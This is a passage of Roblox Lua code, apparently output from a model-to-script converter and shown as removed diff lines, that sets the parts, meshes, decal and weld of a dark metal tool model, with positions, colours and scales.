- Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part343.Position = Vector3.new(143.772934, 3.48657799, 144.340927)
- Part343.Orientation = Vector3.new(90, -90, 0)
- Part343.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh344.Parent = Part343
- SpecialMesh344.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
- SpecialMesh344.MeshType = Enum.MeshType.Wedge
- SpecialMesh344.Scale = Vector3.new(0.166666567, 0.0666666403, 0.433333367)
- Part345.Parent = Tool0
- Part345.Material = Enum.Material.Metal
- Part345.BrickColor = BrickColor.new("Black")
- Part345.Rotation = Vector3.new(-90, 0, -180)
- Part345.Anchored = true
- Part345.FormFactor = Enum.FormFactor.Custom
- Part345.Size = Vector3.new(0.200000003, 0.213333279, 0.200000003)
- Part345.CFrame = CFrame.new(143.682938, 3.79991603, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part345.BottomSurface = Enum.SurfaceType.Smooth
- Part345.TopSurface = Enum.SurfaceType.Smooth
- Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part345.Position = Vector3.new(143.682938, 3.79991603, 144.39093)
- Part345.Orientation = Vector3.new(-90, -180, 0)
- Part345.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh346.Parent = Part345
- CylinderMesh346.Scale = Vector3.new(0.333333433, 1, 0.166666672)
- CylinderMesh346.Scale = Vector3.new(0.333333433, 1, 0.166666672)
- Part347.Parent = Tool0
- Part347.Material = Enum.Material.Metal
- Part347.BrickColor = BrickColor.new("Black")
- Part347.Rotation = Vector3.new(-90, 0, 90)
- Part347.Anchored = true
- Part347.FormFactor = Enum.FormFactor.Custom
- Part347.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part347.CFrame = CFrame.new(143.782944, 3.66324496, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part347.BottomSurface = Enum.SurfaceType.Smooth
- Part347.TopSurface = Enum.SurfaceType.Smooth
- Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part347.Position = Vector3.new(143.782944, 3.66324496, 144.39093)
- Part347.Orientation = Vector3.new(-90, 90, 0)
- Part347.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh348.Parent = Part347
- BlockMesh348.Scale = Vector3.new(0.666666746, 0.0333333351, 0.466666698)
- BlockMesh348.Scale = Vector3.new(0.666666746, 0.0333333351, 0.466666698)
- Part349.Parent = Tool0
- Part349.Material = Enum.Material.Metal
- Part349.BrickColor = BrickColor.new("Dark stone grey")
- Part349.Rotation = Vector3.new(90, -59.9899979, -90)
- Part349.Anchored = true
- Part349.FormFactor = Enum.FormFactor.Custom
- Part349.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part349.CFrame = CFrame.new(144.259598, 3.479913, 144.39093, 0, 0.500145674, -0.865941763, 0, -0.865941763, -0.500145674, -1, 0, 0)
- Part349.BottomSurface = Enum.SurfaceType.Smooth
- Part349.TopSurface = Enum.SurfaceType.Smooth
- Part349.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part349.Position = Vector3.new(144.259598, 3.479913, 144.39093)
- Part349.Orientation = Vector3.new(30.0100002, -90, 180)
- Part349.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh350.Parent = Part349
- BlockMesh350.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
- BlockMesh350.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
- Part351.Parent = Tool0
- Part351.Material = Enum.Material.Metal
- Part351.BrickColor = BrickColor.new("Dark stone grey")
- Part351.Rotation = Vector3.new(90, 60, 90)
- Part351.Anchored = true
- Part351.FormFactor = Enum.FormFactor.Custom
- Part351.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part351.CFrame = CFrame.new(144.136246, 3.56488299, 144.39093, 0, -0.499927223, 0.86606729, 0, -0.86606729, -0.499927223, 0.999999821, 0, 0)
- Part351.BottomSurface = Enum.SurfaceType.Smooth
- Part351.TopSurface = Enum.SurfaceType.Smooth
- Part351.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part351.Position = Vector3.new(144.136246, 3.56488299, 144.39093)
- Part351.Orientation = Vector3.new(30, 90, 180)
- Part351.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh352.Parent = Part351
- BlockMesh352.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
- BlockMesh352.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
- Part353.Parent = Tool0
- Part353.Material = Enum.Material.Metal
- Part353.BrickColor = BrickColor.new("Black")
- Part353.Rotation = Vector3.new(90, 0, 90)
- Part353.Anchored = true
- Part353.FormFactor = Enum.FormFactor.Custom
- Part353.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part353.CFrame = CFrame.new(143.77626, 3.35991502, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part353.BottomSurface = Enum.SurfaceType.Smooth
- Part353.TopSurface = Enum.SurfaceType.Smooth
- Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part353.Position = Vector3.new(143.77626, 3.35991502, 144.39093)
- Part353.Orientation = Vector3.new(90, -90, 0)
- Part353.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh354.Parent = Part353
- BlockMesh354.Scale = Vector3.new(0.666666687, 0.100000024, 0.166666672)
- BlockMesh354.Scale = Vector3.new(0.666666687, 0.100000024, 0.166666672)
- Part355.Parent = Tool0
- Part355.Material = Enum.Material.Metal
- Part355.BrickColor = BrickColor.new("Black")
- Part355.Rotation = Vector3.new(90, 0, -180)
- Part355.Anchored = true
- Part355.FormFactor = Enum.FormFactor.Custom
- Part355.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part355.CFrame = CFrame.new(143.082932, 3.86991811, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part355.BottomSurface = Enum.SurfaceType.Smooth
- Part355.TopSurface = Enum.SurfaceType.Smooth
- Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part355.Position = Vector3.new(143.082932, 3.86991811, 144.387604)
- Part355.Orientation = Vector3.new(90, 180, 0)
- Part355.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh356.Parent = Part355
- BlockMesh356.Scale = Vector3.new(0.366666734, 0.733332992, 0.533333421)
- BlockMesh356.Scale = Vector3.new(0.366666734, 0.733332992, 0.533333421)
- Part357.Parent = Tool0
- Part357.Material = Enum.Material.Metal
- Part357.BrickColor = BrickColor.new("Dark stone grey")
- Part357.Rotation = Vector3.new(90, 0, -180)
- Part357.Anchored = true
- Part357.FormFactor = Enum.FormFactor.Custom
- Part357.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part357.CFrame = CFrame.new(143.1996, 4.04323912, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part357.BottomSurface = Enum.SurfaceType.Smooth
- Part357.TopSurface = Enum.SurfaceType.Smooth
- Part357.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part357.Position = Vector3.new(143.1996, 4.04323912, 144.434265)
- Part357.Orientation = Vector3.new(90, 180, 0)
- Part357.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh358.Parent = Part357
- BlockMesh358.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
- BlockMesh358.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
- Part359.Parent = Tool0
- Part359.Material = Enum.Material.Metal
- Part359.BrickColor = BrickColor.new("Dark stone grey")
- Part359.Rotation = Vector3.new(90, 0, 0)
- Part359.Anchored = true
- Part359.FormFactor = Enum.FormFactor.Custom
- Part359.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part359.CFrame = CFrame.new(143.782944, 3.47324896, 144.39093, 1, 0, 0, 0, 0, -1, 0, 1, 0)
- Part359.BottomSurface = Enum.SurfaceType.Smooth
- Part359.TopSurface = Enum.SurfaceType.Smooth
- Part359.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part359.Position = Vector3.new(143.782944, 3.47324896, 144.39093)
- Part359.Orientation = Vector3.new(90, 0, 0)
- Part359.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh360.Parent = Part359
- CylinderMesh360.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
- CylinderMesh360.Scale = Vector3.new(0.366666675, 0.333333343, 0.366666675)
- Part361.Parent = Tool0
- Part361.Material = Enum.Material.Metal
- Part361.BrickColor = BrickColor.new("Dark stone grey")
- Part361.Rotation = Vector3.new(-90, -90, 0)
- Part361.Anchored = true
- Part361.FormFactor = Enum.FormFactor.Custom
- Part361.Size = Vector3.new(0.200000003, 0.200000003, 0.666666746)
- Part361.CFrame = CFrame.new(144.152939, 3.97324204, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part361.BottomSurface = Enum.SurfaceType.Smooth
- Part361.TopSurface = Enum.SurfaceType.Smooth
- Part361.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part361.Position = Vector3.new(144.152939, 3.97324204, 144.290939)
- Part361.Orientation = Vector3.new(0, -90, 90)
- Part361.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh362.Parent = Part361
- BlockMesh362.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
- BlockMesh362.Scale = Vector3.new(0.166666493, 0.0666666701, 1)
- Part363.Parent = Tool0
- Part363.Material = Enum.Material.Metal
- Part363.BrickColor = BrickColor.new("Black")
- Part363.Rotation = Vector3.new(90, 0, 90)
- Part363.Anchored = true
- Part363.FormFactor = Enum.FormFactor.Custom
- Part363.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part363.CFrame = CFrame.new(143.742935, 3.39324498, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part363.BottomSurface = Enum.SurfaceType.Smooth
- Part363.TopSurface = Enum.SurfaceType.Smooth
- Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part363.Position = Vector3.new(143.742935, 3.39324498, 144.39093)
- Part363.Orientation = Vector3.new(90, -90, 0)
- Part363.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh364.Parent = Part363
- SpecialMesh364.Scale = Vector3.new(0.666666687, 0.233333334, 0.50000006)
- SpecialMesh364.MeshType = Enum.MeshType.Wedge
- SpecialMesh364.Scale = Vector3.new(0.666666687, 0.233333334, 0.50000006)
- Part365.Parent = Tool0
- Part365.Material = Enum.Material.Metal
- Part365.BrickColor = BrickColor.new("Dark stone grey")
- Part365.Rotation = Vector3.new(90, 0, -180)
- Part365.Anchored = true
- Part365.FormFactor = Enum.FormFactor.Custom
- Part365.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part365.CFrame = CFrame.new(143.219604, 4.00657988, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part365.BottomSurface = Enum.SurfaceType.Smooth
- Part365.TopSurface = Enum.SurfaceType.Smooth
- Part365.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part365.Position = Vector3.new(143.219604, 4.00657988, 144.457596)
- Part365.Orientation = Vector3.new(90, 180, 0)
- Part365.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh366.Parent = Part365
- BlockMesh366.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
- BlockMesh366.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
- Part367.Parent = Tool0
- Part367.Material = Enum.Material.Metal
- Part367.BrickColor = BrickColor.new("Dark stone grey")
- Part367.Rotation = Vector3.new(-90, 0, -180)
- Part367.Anchored = true
- Part367.FormFactor = Enum.FormFactor.Custom
- Part367.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part367.CFrame = CFrame.new(144.12294, 3.76324797, 144.28093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part367.BottomSurface = Enum.SurfaceType.Smooth
- Part367.TopSurface = Enum.SurfaceType.Smooth
- Part367.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part367.Position = Vector3.new(144.12294, 3.76324797, 144.28093)
- Part367.Orientation = Vector3.new(-90, -180, 0)
- Part367.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh368.Parent = Part367
- CylinderMesh368.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- CylinderMesh368.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- Part369.Parent = Tool0
- Part369.Material = Enum.Material.Metal
- Part369.BrickColor = BrickColor.new("Black")
- Part369.Rotation = Vector3.new(-90, 0, 90)
- Part369.Anchored = true
- Part369.FormFactor = Enum.FormFactor.Custom
- Part369.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part369.CFrame = CFrame.new(143.632935, 3.79992294, 144.290939, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part369.BottomSurface = Enum.SurfaceType.Smooth
- Part369.TopSurface = Enum.SurfaceType.Smooth
- Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part369.Position = Vector3.new(143.632935, 3.79992294, 144.290939)
- Part369.Orientation = Vector3.new(-90, 90, 0)
- Part369.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh370.Parent = Part369
- BlockMesh370.Scale = Vector3.new(0.0666666031, 0.333333582, 0.166666716)
- BlockMesh370.Scale = Vector3.new(0.0666666031, 0.333333582, 0.166666716)
- Part371.Parent = Tool0
- Part371.Material = Enum.Material.Metal
- Part371.BrickColor = BrickColor.new("Black")
- Part371.Rotation = Vector3.new(-90, -90, 0)
- Part371.Anchored = true
- Part371.FormFactor = Enum.FormFactor.Custom
- Part371.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part371.CFrame = CFrame.new(144.409607, 3.78991199, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part371.BottomSurface = Enum.SurfaceType.Smooth
- Part371.TopSurface = Enum.SurfaceType.Smooth
- Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part371.Position = Vector3.new(144.409607, 3.78991199, 144.290939)
- Part371.Orientation = Vector3.new(0, -90, 90)
- Part371.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh372.Parent = Part371
- BlockMesh372.Scale = Vector3.new(0.266666532, 0.0666666701, 0.766666472)
- BlockMesh372.Scale = Vector3.new(0.266666532, 0.0666666701, 0.766666472)
- Part373.Parent = Tool0
- Part373.Material = Enum.Material.Metal
- Part373.BrickColor = BrickColor.new("Black")
- Part373.Rotation = Vector3.new(90, 0, -180)
- Part373.Anchored = true
- Part373.FormFactor = Enum.FormFactor.Custom
- Part373.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part373.CFrame = CFrame.new(143.099594, 3.94657993, 144.387604, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part373.BottomSurface = Enum.SurfaceType.Smooth
- Part373.TopSurface = Enum.SurfaceType.Smooth
- Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part373.Position = Vector3.new(143.099594, 3.94657993, 144.387604)
- Part373.Orientation = Vector3.new(90, 180, 0)
- Part373.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh374.Parent = Part373
- BlockMesh374.Scale = Vector3.new(0.200000018, 0.733333051, 0.166666642)
- BlockMesh374.Scale = Vector3.new(0.200000018, 0.733333051, 0.166666642)
- Part375.Parent = Tool0
- Part375.Material = Enum.Material.Metal
- Part375.BrickColor = BrickColor.new("Black")
- Part375.Rotation = Vector3.new(-90, 0, 90)
- Part375.Anchored = true
- Part375.FormFactor = Enum.FormFactor.Custom
- Part375.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part375.CFrame = CFrame.new(143.772934, 3.61992002, 144.340927, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part375.BottomSurface = Enum.SurfaceType.Smooth
- Part375.TopSurface = Enum.SurfaceType.Smooth
- Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part375.Position = Vector3.new(143.772934, 3.61992002, 144.340927)
- Part375.Orientation = Vector3.new(-90, 90, 0)
- Part375.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh376.Parent = Part375
- SpecialMesh376.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
- SpecialMesh376.MeshType = Enum.MeshType.Wedge
- SpecialMesh376.Scale = Vector3.new(0.166666567, 0.0666666403, 0.233333319)
- Part377.Parent = Tool0
- Part377.Material = Enum.Material.Metal
- Part377.BrickColor = BrickColor.new("Dark stone grey")
- Part377.Rotation = Vector3.new(90, 0, -180)
- Part377.Anchored = true
- Part377.FormFactor = Enum.FormFactor.Custom
- Part377.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part377.CFrame = CFrame.new(143.219604, 4.04324293, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part377.BottomSurface = Enum.SurfaceType.Smooth
- Part377.TopSurface = Enum.SurfaceType.Smooth
- Part377.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part377.Position = Vector3.new(143.219604, 4.04324293, 144.444275)
- Part377.Orientation = Vector3.new(90, 180, 0)
- Part377.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh378.Parent = Part377
- BlockMesh378.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
- BlockMesh378.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
- Part379.Parent = Tool0
- Part379.Material = Enum.Material.Metal
- Part379.BrickColor = BrickColor.new("Dark stone grey")
- Part379.Rotation = Vector3.new(90, 0, -90)
- Part379.Anchored = true
- Part379.FormFactor = Enum.FormFactor.Custom
- Part379.Size = Vector3.new(0.200000003, 0.200000003, 0.633333981)
- Part379.CFrame = CFrame.new(143.996262, 3.39325094, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part379.BottomSurface = Enum.SurfaceType.Smooth
- Part379.TopSurface = Enum.SurfaceType.Smooth
- Part379.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part379.Position = Vector3.new(143.996262, 3.39325094, 144.39093)
- Part379.Orientation = Vector3.new(90, 90, 0)
- Part379.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh380.Parent = Part379
- BlockMesh380.Scale = Vector3.new(0.799999952, 0.0999999717, 1)
- BlockMesh380.Scale = Vector3.new(0.799999952, 0.0999999717, 1)
- Part381.Parent = Tool0
- Part381.Material = Enum.Material.Metal
- Part381.BrickColor = BrickColor.new("Dark stone grey")
- Part381.Rotation = Vector3.new(90, 0, -180)
- Part381.Anchored = true
- Part381.FormFactor = Enum.FormFactor.Custom
- Part381.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part381.CFrame = CFrame.new(143.229599, 4.03324604, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part381.BottomSurface = Enum.SurfaceType.Smooth
- Part381.TopSurface = Enum.SurfaceType.Smooth
- Part381.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part381.Position = Vector3.new(143.229599, 4.03324604, 144.39093)
- Part381.Orientation = Vector3.new(90, 180, 0)
- Part381.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh382.Parent = Part381
- CylinderMesh382.Scale = Vector3.new(0.0666666776, 0.400000066, 0.0666666776)
- CylinderMesh382.Scale = Vector3.new(0.0666666776, 0.400000066, 0.0666666776)
- Part383.Parent = Tool0
- Part383.Material = Enum.Material.Metal
- Part383.BrickColor = BrickColor.new("Dark stone grey")
- Part383.Rotation = Vector3.new(90, 0, -180)
- Part383.Anchored = true
- Part383.FormFactor = Enum.FormFactor.Custom
- Part383.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part383.CFrame = CFrame.new(143.222946, 4.09323978, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part383.BottomSurface = Enum.SurfaceType.Smooth
- Part383.TopSurface = Enum.SurfaceType.Smooth
- Part383.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part383.Position = Vector3.new(143.222946, 4.09323978, 144.39093)
- Part383.Orientation = Vector3.new(90, 180, 0)
- Part383.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh384.Parent = Part383
- BlockMesh384.Scale = Vector3.new(0.0233333316, 0.199999943, 0.0433333293)
- BlockMesh384.Scale = Vector3.new(0.0233333316, 0.199999943, 0.0433333293)
- Part385.Parent = Tool0
- Part385.Material = Enum.Material.Metal
- Part385.BrickColor = BrickColor.new("Dark stone grey")
- Part385.Rotation = Vector3.new(-90, 90, 0)
- Part385.Anchored = true
- Part385.FormFactor = Enum.FormFactor.Custom
- Part385.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part385.CFrame = CFrame.new(143.222946, 4.06658077, 144.39093, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part385.BottomSurface = Enum.SurfaceType.Smooth
- Part385.TopSurface = Enum.SurfaceType.Smooth
- Part385.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part385.Position = Vector3.new(143.222946, 4.06658077, 144.39093)
- Part385.Orientation = Vector3.new(0, 90, -90)
- Part385.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh386.Parent = Part385
- SpecialMesh386.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh386.Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0400000028)
- SpecialMesh386.MeshType = Enum.MeshType.FileMesh
- SpecialMesh386.Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0400000028)
- Part387.Parent = Tool0
- Part387.Material = Enum.Material.Metal
- Part387.BrickColor = BrickColor.new("Dark stone grey")
- Part387.Rotation = Vector3.new(-90, -60, -90)
- Part387.Anchored = true
- Part387.FormFactor = Enum.FormFactor.Custom
- Part387.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part387.CFrame = CFrame.new(144.182877, 3.54566407, 144.39093, 0, 0.499927282, -0.86606741, 0, 0.86606741, 0.499927282, 1, 0, -0)
- Part387.BottomSurface = Enum.SurfaceType.Smooth
- Part387.TopSurface = Enum.SurfaceType.Smooth
- Part387.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part387.Position = Vector3.new(144.182877, 3.54566407, 144.39093)
- Part387.Orientation = Vector3.new(-30, -90, 0)
- Part387.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh388.Parent = Part387
- SpecialMesh388.Scale = Vector3.new(0.299999982, 0.0333333388, 0.333333373)
- SpecialMesh388.MeshType = Enum.MeshType.Wedge
- SpecialMesh388.Scale = Vector3.new(0.299999982, 0.0333333388, 0.333333373)
- Part389.Parent = Tool0
- Part389.Material = Enum.Material.Metal
- Part389.BrickColor = BrickColor.new("Dark stone grey")
- Part389.Rotation = Vector3.new(90, 0, -180)
- Part389.Anchored = true
- Part389.FormFactor = Enum.FormFactor.Custom
- Part389.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part389.CFrame = CFrame.new(143.219604, 4.00657988, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part389.BottomSurface = Enum.SurfaceType.Smooth
- Part389.TopSurface = Enum.SurfaceType.Smooth
- Part389.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part389.Position = Vector3.new(143.219604, 4.00657988, 144.324265)
- Part389.Orientation = Vector3.new(90, 180, 0)
- Part389.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh390.Parent = Part389
- BlockMesh390.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
- BlockMesh390.Scale = Vector3.new(0.99999994, 0.0666664839, 0.166666657)
- Part391.Parent = Tool0
- Part391.Material = Enum.Material.Metal
- Part391.BrickColor = BrickColor.new("Black")
- Part391.Rotation = Vector3.new(-90, 0, 90)
- Part391.Anchored = true
- Part391.FormFactor = Enum.FormFactor.Symmetric
- Part391.Size = Vector3.new(1, 1, 1)
- Part391.CFrame = CFrame.new(143.902939, 3.09325004, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part391.BottomSurface = Enum.SurfaceType.Smooth
- Part391.TopSurface = Enum.SurfaceType.Smooth
- Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part391.Position = Vector3.new(143.902939, 3.09325004, 144.39093)
- Part391.Orientation = Vector3.new(-90, 90, 0)
- Part391.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal392.Parent = Part391
- Decal392.Texture = "http://www.roblox.com/asset/?id=47760372"
- BlockMesh393.Parent = Part391
- BlockMesh393.Scale = Vector3.new(0.13333334, 0.166666672, 0.0333333351)
- BlockMesh393.Scale = Vector3.new(0.13333334, 0.166666672, 0.0333333351)
- Part394.Parent = Tool0
- Part394.Material = Enum.Material.Metal
- Part394.BrickColor = BrickColor.new("Black")
- Part394.Rotation = Vector3.new(-90, -15.0099993, 0)
- Part394.Anchored = true
- Part394.FormFactor = Enum.FormFactor.Custom
- Part394.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part394.CFrame = CFrame.new(143.101059, 3.81787395, 144.300934, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
- Part394.BottomSurface = Enum.SurfaceType.Smooth
- Part394.TopSurface = Enum.SurfaceType.Smooth
- Part394.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part394.Position = Vector3.new(143.101059, 3.81787395, 144.300934)
- Part394.Orientation = Vector3.new(-74.9899979, -90, 90)
- Part394.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh395.Parent = Part394
- CylinderMesh395.Scale = Vector3.new(3.33333373, 0.133333027, 0.333333343)
- CylinderMesh395.Scale = Vector3.new(3.33333373, 0.133333027, 0.333333343)
- Part396.Parent = Tool0
- Part396.Material = Enum.Material.Metal
- Part396.BrickColor = BrickColor.new("Black")
- Part396.Rotation = Vector3.new(-90, 0, 90)
- Part396.Anchored = true
- Part396.FormFactor = Enum.FormFactor.Custom
- Part396.Size = Vector3.new(0.200000003, 0.686666667, 0.200000003)
- Part396.CFrame = CFrame.new(144.67627, 3.76324797, 144.444275, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part396.BottomSurface = Enum.SurfaceType.Smooth
- Part396.TopSurface = Enum.SurfaceType.Smooth
- Part396.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part396.Position = Vector3.new(144.67627, 3.76324797, 144.444275)
- Part396.Orientation = Vector3.new(-90, 90, 0)
- Part396.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh397.Parent = Part396
- CylinderMesh397.Scale = Vector3.new(0.659999967, 1, 0.659999967)
- CylinderMesh397.Scale = Vector3.new(0.659999967, 1, 0.659999967)
- Part398.Parent = Tool0
- Part398.Material = Enum.Material.Metal
- Part398.Rotation = Vector3.new(90, 0, -180)
- Part398.Anchored = true
- Part398.FormFactor = Enum.FormFactor.Custom
- Part398.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part398.CFrame = CFrame.new(143.222931, 4.05324411, 144.467606, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part398.BottomSurface = Enum.SurfaceType.Smooth
- Part398.TopSurface = Enum.SurfaceType.Smooth
- Part398.Position = Vector3.new(143.222931, 4.05324411, 144.467606)
- Part398.Orientation = Vector3.new(90, 180, 0)
- CylinderMesh399.Parent = Part398
- CylinderMesh399.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- CylinderMesh399.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- Part400.Parent = Tool0
- Part400.Material = Enum.Material.Metal
- Part400.BrickColor = BrickColor.new("Black")
- Part400.Rotation = Vector3.new(-90, 0, 90)
- Part400.Anchored = true
- Part400.FormFactor = Enum.FormFactor.Custom
- Part400.Size = Vector3.new(0.213333264, 0.200000003, 0.200000003)
- Part400.CFrame = CFrame.new(144.296265, 3.75324702, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part400.BottomSurface = Enum.SurfaceType.Smooth
- Part400.TopSurface = Enum.SurfaceType.Smooth
- Part400.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part400.Position = Vector3.new(144.296265, 3.75324702, 144.39093)
- Part400.Orientation = Vector3.new(-90, 90, 0)
- Part400.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh401.Parent = Part400
- BlockMesh401.Scale = Vector3.new(1, 0.10000024, 0.433333337)
- BlockMesh401.Scale = Vector3.new(1, 0.10000024, 0.433333337)
- ManualWeld402.Name = "Part-to-Handle Strong Joint"
- ManualWeld402.Parent = Part400
- ManualWeld402.C0 = CFrame.new(-0.106666632, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld402.C1 = CFrame.new(0.106674194, 0.187796831, -0.109344482, 1, 0, 0, 0, 1, -6.29127026e-05, 0, 6.29127026e-05, 1)
- ManualWeld402.Part0 = Part400
- ManualWeld402.Part1 = Part30
- Part403.Parent = Tool0
- Part403.Material = Enum.Material.Metal
- Part403.BrickColor = BrickColor.new("Dark stone grey")
- Part403.Rotation = Vector3.new(90, 0.00999999978, 90)
- Part403.Anchored = true
- Part403.FormFactor = Enum.FormFactor.Custom
- Part403.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part403.CFrame = CFrame.new(144.286911, 3.52544999, 144.39093, 0, -1, 0.00012601912, 0, -0.00012601912, -1, 1, 0, 0)
- Part403.BottomSurface = Enum.SurfaceType.Smooth
- Part403.TopSurface = Enum.SurfaceType.Smooth
